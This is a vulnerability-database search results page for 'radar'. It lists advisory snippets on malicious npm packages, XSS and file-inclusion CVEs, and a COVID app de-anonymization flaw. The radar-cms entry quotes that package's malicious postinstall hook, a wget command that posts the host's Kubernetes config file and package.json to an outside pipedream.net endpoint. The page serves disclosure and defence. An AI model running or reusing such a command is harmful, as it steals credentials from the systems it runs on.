315 matches found
MAL-2022-6622 Malicious code in tracker-radar-collector (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9c382860bcfb985e86aa7b648770475c9deebd558eb7815ffcd10f708348039a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in firebase-radar (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3bcbd61fff9e54ea05b865ebe0b71ea002f1c613bdb99d9a78557dab8fa94691 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-3049 Malicious code in firebase-radar (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3bcbd61fff9e54ea05b865ebe0b71ea002f1c613bdb99d9a78557dab8fa94691 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-7259 Malicious code in x-road-tech-radar (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b81945cd23cfc6cea9cafc4f34272c267be424f5c5c28100a9d40e2f098cad58 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in x-road-tech-radar (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b81945cd23cfc6cea9cafc4f34272c267be424f5c5c28100a9d40e2f098cad58 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
gamesradar.com Cross Site Scripting vulnerability OBB-2639507
Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...
Using Radar to Read Body Language
Yet another method of surveillance: Radar can detect you moving closer to a computer and entering its personal space. This might mean the computer can then choose to perform certain actions, like booting up the screen without requiring you to press a button. This kind of interaction already exist...
CVE-2021-37412
The TechRadar app 1.1 for Confluence Server allows XSS via the Title field of a Radar...
CVE-2021-37412
The TechRadar app 1.1 for Confluence Server allows XSS via the Title field of a Radar...
PT-2021-21638 · Atlassian · Confluence
Name of the Vulnerable Software and Affected Versions: TechRadar app version 1.1 for Confluence Server Description: The issue allows for XSS via the Title field of a Radar. This means an attacker could inject malicious scripts into the Title field, potentially leading to the execution of...
TechRadar app 跨站脚本漏洞
TechRadar app is a mobile software app. for displaying tech news, reviews and videos. The TechRadar app has a security vulnerability that stems from the application used for the Confluence server allowing XSS through the title field of the radar...
The road to secure crypto: start getting risk management priorities on your threat modeling radar
While attending the biggest event in crypto history earlier this month in Miami, it struck me that, although irrational over-exuberance was the mood, the reality is really sinking in: We are in a new payments industry paradigm shift. Its not a fad anymore, and its not going away. An exclamation t...
Malicious Package
Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...
CVE-2020-26230
Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...
CVE-2020-26230
Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...
Design/Logic Flaw
Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...
CVE-2020-26230
CVE-2020-26230 affects Radar COVID (Spain) where positives uploading TEKs to the backend can be identified/de-anonymized by an on-path observer. Root cause: backend communication is made only by COVID-19 positives, enabling traffic correlation across networks (MNOs/ISPs/VPNs or on-path attackers)...
CVE-2020-26230 Deanonymization of COVID-19 positive users of Radar COVID
Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...
BSA Radar Information Disclosure (CVE-2020-14946)
An information disclosure vulnerability exists in BSA Radar. Successful exploitation of this vulnerability would allow a remote attacker to obtain sensitive information...
BSA Radar 1.6.7234.24750 Local File Inclusion
Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion Date: 2020-07-08 Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14946 - Local File Inclusion Description: The Administrator section of th...